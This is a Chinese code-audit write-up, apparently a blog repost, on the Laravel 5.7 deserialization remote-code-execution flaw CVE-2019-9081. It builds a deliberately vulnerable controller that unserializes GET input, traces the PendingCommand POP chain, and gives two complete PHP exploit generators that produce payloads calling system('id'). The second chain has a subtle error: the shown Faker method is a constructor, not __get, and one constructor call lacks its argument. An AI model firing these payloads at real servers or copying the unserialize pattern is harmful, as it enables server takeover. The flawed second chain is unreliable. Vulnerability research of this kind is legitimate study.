Laravel 代码审计
Laravel 5.7 文档 : https://learnku.com/docs/laravel/5.7/installation/2242
Composer 下载 : wget https://getcomposer.org/download/1.8.6/composer.phar 获取 composer.phar
参照 https://www.jianshu.com/p/438a95046403 安装 Composer 和 Laravel
composer create-project laravel/laravel laravel57 "5.7.*" 安装 Laravel 5.7 并生成 laravel57 项目
进入项目文件夹,使用 php artisan serve 启动 web 服务
在 laravel57/routes/web.php 文件添加路由
Route::get("/","\App\Http\Controllers\DemoController@demo");在 laravel57/app/Http/Controllers/ 下添加 DemoController 控制器
namespace App\Http\Controllers;
class DemoController
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
            return "peri0d";
        }
    }
}app.php ,还包含 cache 目录,其下存放框架生成的用来提升性能的文件,比如路由和服务缓存文件index.php,它是进入应用程序的所有请求的入口点。还包含一些资源文件,比如图片、JS 和 CSS漏洞触发点位于 Illuminate/Foundation/Testing/PendingCommand.php 中的 run 方法,该文件的功能就是命令执行并获取输出,PendingCommand.php 又定义了 __destruct() 方法,思路就是构造 payload 触发 __destruct() 方法进而调用 run 方法实现 rce
根据已有的 exp 来看,PendingCommand 类的属性如下
$this->app;         // 一个实例化的类 Illuminate\Foundation\Application
$this->test;        // 一个实例化的类 Illuminate\Auth\GenericUser
$this->command;     // 要执行的php函数 system
$this->parameters;  // 要执行的php函数的参数  array('id')在 unserialize($code) 处下断点调试,观察调用栈,发现有几个加载函数,spl_autoload_call() 、Illuminate\Foundation\AliasLoader->load() 、Composer\Autoload\ClassLoader->loadClass() 、Composer\Autoload\includeFile() 。
在加载完所需要的类后,会进入 PendingCommand 类的 __destruct() 方法。由于 hasExecuted 默认是 false,所以会去执行 run() 函数,run() 函数会在第 8 行执行命令,其代码如下
public function run()
{
  $this->hasExecuted = true;
    $this->mockConsoleOutput();
    try {
        $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    } catch (NoMatchingExpectationException $e) {
        if ($e->getMethodName() === 'askQuestion') {
            $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
        }
        throw $e;
}run() 中首先执行了 mockConsoleOutput() ,该函数主要功能就是模拟控制台输出,此时又会加载一些所需要的类。代码如下
protected function mockConsoleOutput()
{
    $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),]);
    foreach ($this->test->expectedQuestions as $i => $question) {
        $mock->shouldReceive('askQuestion')
            ->once()
            ->ordered()
            ->with(Mockery::on(function ($argument) use ($question) {
                return $argument->getQuestion() == $question[0];
            }))
            ->andReturnUsing(function () use ($question, $i) {
                unset($this->test->expectedQuestions[$i]);
                return $question[1];
            });
    }
    $this->app->bind(OutputStyle::class, function () use ($mock) {
        return $mock;
    });
}mockConsoleOutput() 中又调用了 createABufferedOutputMock() 。在 createABufferedOutputMock() 函数中,首先调用 mock() 函数,它的作用主要是进行对象模拟。然后进入循环,要遍历 $this->test 类的 expectedOutput 属性,但是在可以实例化的类中不存在这个属性。当访问一个类中不存在的属性时会触发 __get() ,通过去触发 __get() 方法去进一步构造 pop 链。
private function createABufferedOutputMock()
{
    $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
        ->shouldAllowMockingProtectedMethods()
        ->shouldIgnoreMissing();
    foreach ($this->test->expectedOutput as $i => $output) {
        $mock->shouldReceive('doWrite')
            ->once()
            ->ordered()
            ->with($output, Mockery::any())
            ->andReturnUsing(function () use ($i) {
                unset($this->test->expectedOutput[$i]);
            });
    }
    return $mock;
}这里选择 Illuminate\Auth\GenericUser,其 __get() 魔术方法如下
  public function __get($key)
  {
      return $this->attributes[$key];
  }此时 $this->test 是我们传入的 Illuminate\Auth\GenericUser 的实例化对象,则 $this->attributes[$key] 通过反序列化是可控的,因此我们可以构造$this->attributes键名为expectedOutput的数组。这样一来$this->test->expectedOutput就会返回$this->attributes中键名为expectedOutput的数组
回到 mockConsoleOutput() 中,又进行了一次 for 循环,调用了 $this->test->expectedQuestions ,循环体与 createABufferedOutputMock() 大致相同,所以可以构造 $this->attributes键名为expectedQuestions的数组绕过
然后就可以走出 mockConsoleOutput() 方法,进入命令执行的关键点 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); ,这里 Kernel::class 是个固定值,为 Illuminate\Contracts\Console\Kernel ,这里需要搞清楚 $this->app[Kernel::class] ,可以得到如下的函数调用顺序
Container.php:1222, Illuminate\Foundation\Application->offsetGet()
// key = Illuminate\Contracts\Console\Kernel
public function offsetGet($key)
{
    return $this->make($key);
}Application.php:751, Illuminate\Foundation\Application->make()
// abstract = Illuminate\Contracts\Console\Kernel
public function make($abstract, array $parameters = [])
{
    $abstract = $this->getAlias($abstract);
    if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
        $this->loadDeferredProvider($abstract);
    }
    return parent::make($abstract, $parameters);
}Container.php:609, Illuminate\Foundation\Application->make()
// abstract = Illuminate\Contracts\Console\Kernel
public function make($abstract, array $parameters = [])
{
    return $this->resolve($abstract, $parameters);
}Container.php:652, Illuminate\Foundation\Application->resolve()
// abstract = Illuminate\Contracts\Console\Kernel
protected function resolve($abstract, $parameters = [])
{
    $abstract = $this->getAlias($abstract);
    $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
    if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
        return $this->instances[$abstract];
    }
    $this->with[] = $parameters;
    $concrete = $this->getConcrete($abstract);
    // concrete = Illuminate\Foundation\Application
    if ($this->isBuildable($concrete, $abstract)) {
        $object = $this->build($concrete);
    } else {
        $object = $this->make($concrete);
    }
    foreach ($this->getExtenders($abstract) as $extender) {
        $object = $extender($object, $this);
    }
    if ($this->isShared($abstract) && ! $needsContextualBuild) {
        $this->instances[$abstract] = $object;
    }
    $this->fireResolvingCallbacks($abstract, $object);
    $this->resolved[$abstract] = true;
    array_pop($this->with);
    return $object;
}Container.php:697, Illuminate\Foundation\Application->getConcrete()
// abstract = Illuminate\Contracts\Console\Kernel
protected function getConcrete($abstract)
{
    if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
        return $concrete;
    }
    if (isset($this->bindings[$abstract])) {
        return $this->bindings[$abstract]['concrete'];
    }
    return $abstract;
}在getConcrete()方法中出了问题,导致可以利用 php 的反射机制实例化任意类。在 getConcrete() 方法中,判断 $this->bindings[$abstract]) 是否存在,若存在则返回 $this->bindings[$abstract][‘concrete‘] 。bindings 是 Container.php 中 Container 类的属性,因此我们只需要找到一个继承自 Container 的类,就可以通过反序列化控制 $this->bindings 属性。Illuminate\Foundation\Application 继承自 Container 类。$abstract 为Illuminate\Contracts\Console\Kernel ,只需通过反序列化定义 Illuminate\Foundation\Application 的 $bindings 属性存在键名为 Illuminate\Contracts\Console\Kernel 的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是 Illuminate\Foundation\Application 类。
在实例化 Application类 的时候, 要满足 isBuildable() 才可以进行 build
protected function isBuildable($concrete, $abstract)
{
    return $concrete === $abstract || $concrete instanceof Closure;
}此时明显不满足条件,所以接着执行 $object = $this->make($concrete); ,在 make() 函数中成功将 $abstract 重新赋值为 Illuminate\Foundation\Application,从而成功绕过 isBuildable() 函数,进入 $this->build 方法,就能看到使用ReflectionClass反射机制,实例化我们传入的类。
在返回一个 Illuminate\Foundation\Application 对象之后,exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); 又调用了 call() 方法,由于 Illuminate\Foundation\Application 没有 call() 方法,所以会调用父类 Illuminate\Container\Container 的 call() 方法。
public function call($callback, array $parameters = [], $defaultMethod = null)
{
    return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}跟进 BoundMethod::call()
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
    if (static::isCallableWithAtSign($callback) || $defaultMethod) {
        return static::callClass($container, $callback, $parameters, $defaultMethod);
    }
    return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
        return call_user_func_array(
            $callback, static::getMethodDependencies($container, $callback, $parameters)
        );
    });
}在 isCallableWithAtSign() 处判断回调函数是否为字符串并且其中含有 @ ,并且 $defaultMethod 默认为 null,很明显不满足条件,进入 callBoundMethod() ,该函数只是判断 $callback 是否为数组。后面的匿名函数直接调用 call_user_func_array() ,并且第一个参数我们可控,参数值为 system ,第二个参数由 getMethodDependencies() 方法返回。跟进 getMethodDependencies()
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
    $dependencies = [];
    foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
        static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
    }
    return array_merge($dependencies, $parameters);
}getCallReflector() 用于反射获取 $callback 的对象, 然后执行 addDependencyForCallParameter() 为 $callback 的对象添加一些参数,最后将我们传入的 $parameters 数组和 $dependencies 数组合并, $dependencies 数组为空。最后相当于执行了 call_user_func_array(‘system‘,array(‘id‘))
exp
<?php
// gadgets.php
namespace Illuminate\Foundation\Testing{
  class PendingCommand{
      protected $command;
      protected $parameters;
      protected $app;
      public $test;
      public function __construct($command, $parameters,$class,$app)
      {
          $this->command = $command;
          $this->parameters = $parameters;
          $this->test=$class;
          $this->app=$app;
      }
  }
}
namespace Illuminate\Auth{
  class GenericUser{
      protected $attributes;
      public function __construct(array $attributes){
          $this->attributes = $attributes;
      }
  }
}
namespace Illuminate\Foundation{
  class Application{
      protected $hasBeenBootstrapped = false;
      protected $bindings;
      public function __construct($bind){
          $this->bindings=$bind;
      }
  }
}
?>
<?php
// chain.php
$genericuser = new Illuminate\Auth\GenericUser(
    array(
        "expectedOutput"=>array("0"=>"1"),
        "expectedQuestions"=>array("0"=>"1")
    )
);
$application = new Illuminate\Foundation\Application(
    array(
        "Illuminate\Contracts\Console\Kernel"=>
        array(
            "concrete"=>"Illuminate\Foundation\Application"
        )
    )
);
$exp = new Illuminate\Foundation\Testing\PendingCommand(
    "system",array('id'),
    $genericuser,
    $application
);
echo urlencode(serialize($exp));
?>调用栈分析 :
Illuminate\Foundation\Testing\PendingCommand->__destruct()
  $test = Illuminate\Auth\GenericUser
      attributes = array(
          "expectedOutput"=>array("0"=>"1"),
          "expectedQuestions"=>array("0"=>"1")
      )
  $app = Illuminate\Foundation\Application
      array(
          "Illuminate\Contracts\Console\Kernel" => 
          array(
              array("concrete"=>"Illuminate\Foundation\Application")
          )
      )
  $command = "system"
  $parameters = array("id")
Illuminate\Foundation\Testing\PendingCommand->run()
  Illuminate\Foundation\Testing\PendingCommand->mockConsoleOutput()
      Illuminate\Foundation\Testing\PendingCommand->createABufferedOutputMock()
      // 在 foreach 中访问 expectedOutput 属性,但是 GenericUser 类没有这个属性,故而调用 __get() 方法
          Illuminate\Auth\GenericUser->__get()
          // return attributes["expectedOutput"]
          // return array("0"=>"1")
  // 在 foreach 中访问 expectedQuestions 属性,但是 GenericUser 类没有这个属性,故而调用 __get() 方法
      Illuminate\Auth\GenericUser->__get()
      // return attributes["expectedQuestions"]
      // return array("0"=>"1")
// Application 继承了 Container 所以这相当于执行父类的 offsetGet()
Illuminate\Foundation\Application->offsetGet()
  // key : Illuminate\Contracts\Console\Kernel
  Illuminate\Foundation\Application->make()
  // abstract : Illuminate\Contracts\Console\Kernel
  Illuminate\Foundation\Application->make()
  // abstract : Illuminate\Contracts\Console\Kernel
      Illuminate\Foundation\Application->resolve()
      // abstract : Illuminate\Contracts\Console\Kernel
          Illuminate\Foundation\Application->getConcrete()
          // $this->bindings[$abstract]['concrete'] : Illuminate\Foundation\Application
Illuminate\Foundation\Application->call()
  Illuminate\Container\BoundMethod->call()
      Illuminate\Container\BoundMethod->getMethodDependencies()同样的,在 PendingCommand 类的 mockConsoleOutput() 函数处,去触发 __get() 方法构造 pop 链,这里选择 Faker\DefaultGenerator 类,其 __get() 方法如下 :
public function __construct($default = null)
{
    $this->default = $default;
}同样的方法绕过 mockConsoleOutput() 函数,运行到 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); 处。只不过这次的关注点在于 resolve() 函数的 $this->instances[$abstract] 处
// abstract = Illuminate\Contracts\Console\Kernel
protected function resolve($abstract, $parameters = [])
{
    $abstract = $this->getAlias($abstract);
    $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
    if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
        // 在这里返回一个可控的实例化对象
        return $this->instances[$abstract];
    }
    $this->with[] = $parameters;
    $concrete = $this->getConcrete($abstract);
    if ($this->isBuildable($concrete, $abstract)) {
        $object = $this->build($concrete);
    } else {
        $object = $this->make($concrete);
    }
    foreach ($this->getExtenders($abstract) as $extender) {
        $object = $extender($object, $this);
    }
    if ($this->isShared($abstract) && ! $needsContextualBuild) {
        $this->instances[$abstract] = $object;
    }
    $this->fireResolvingCallbacks($abstract, $object);
    $this->resolved[$abstract] = true;
    array_pop($this->with);
    return $object;
}instances 是 Container.php 中 Container 类的属性。因此我们只需要找到一个继承自 Container 的类,就可以通过反序列化控制 $this->instances 属性。Illuminate\Foundation\Application 继承自 Container 类。$abstract 为Illuminate\Contracts\Console\Kernel ,只需通过反序列化定义 Illuminate\Foundation\Application 的 $instances 属性存在键名为 Illuminate\Contracts\Console\Kernel 的数组就能返回我们要实例化的类名。在这里返回的是 Illuminate\Foundation\Application 类。
其余的就和第一种相同了,不同点在于构造可控实例化对象的方法不同
exp :
<?php
// gadgets.php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];
        public function __construct($instance){
            $this->instances["Illuminate\Contracts\Console\Kernel"] = $instance;
        }
    }
}
?>
<?php
// chain.php
$defaultgenerator = new Faker\DefaultGenerator(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand('system', array('id'), $defaultgenerator, $application);
echo urlencode(serialize($pendingcommand));
?>Laravel 5.7 RCE (CVE-2019-9081)
原文:https://www.cnblogs.com/peri0d/p/11508883.html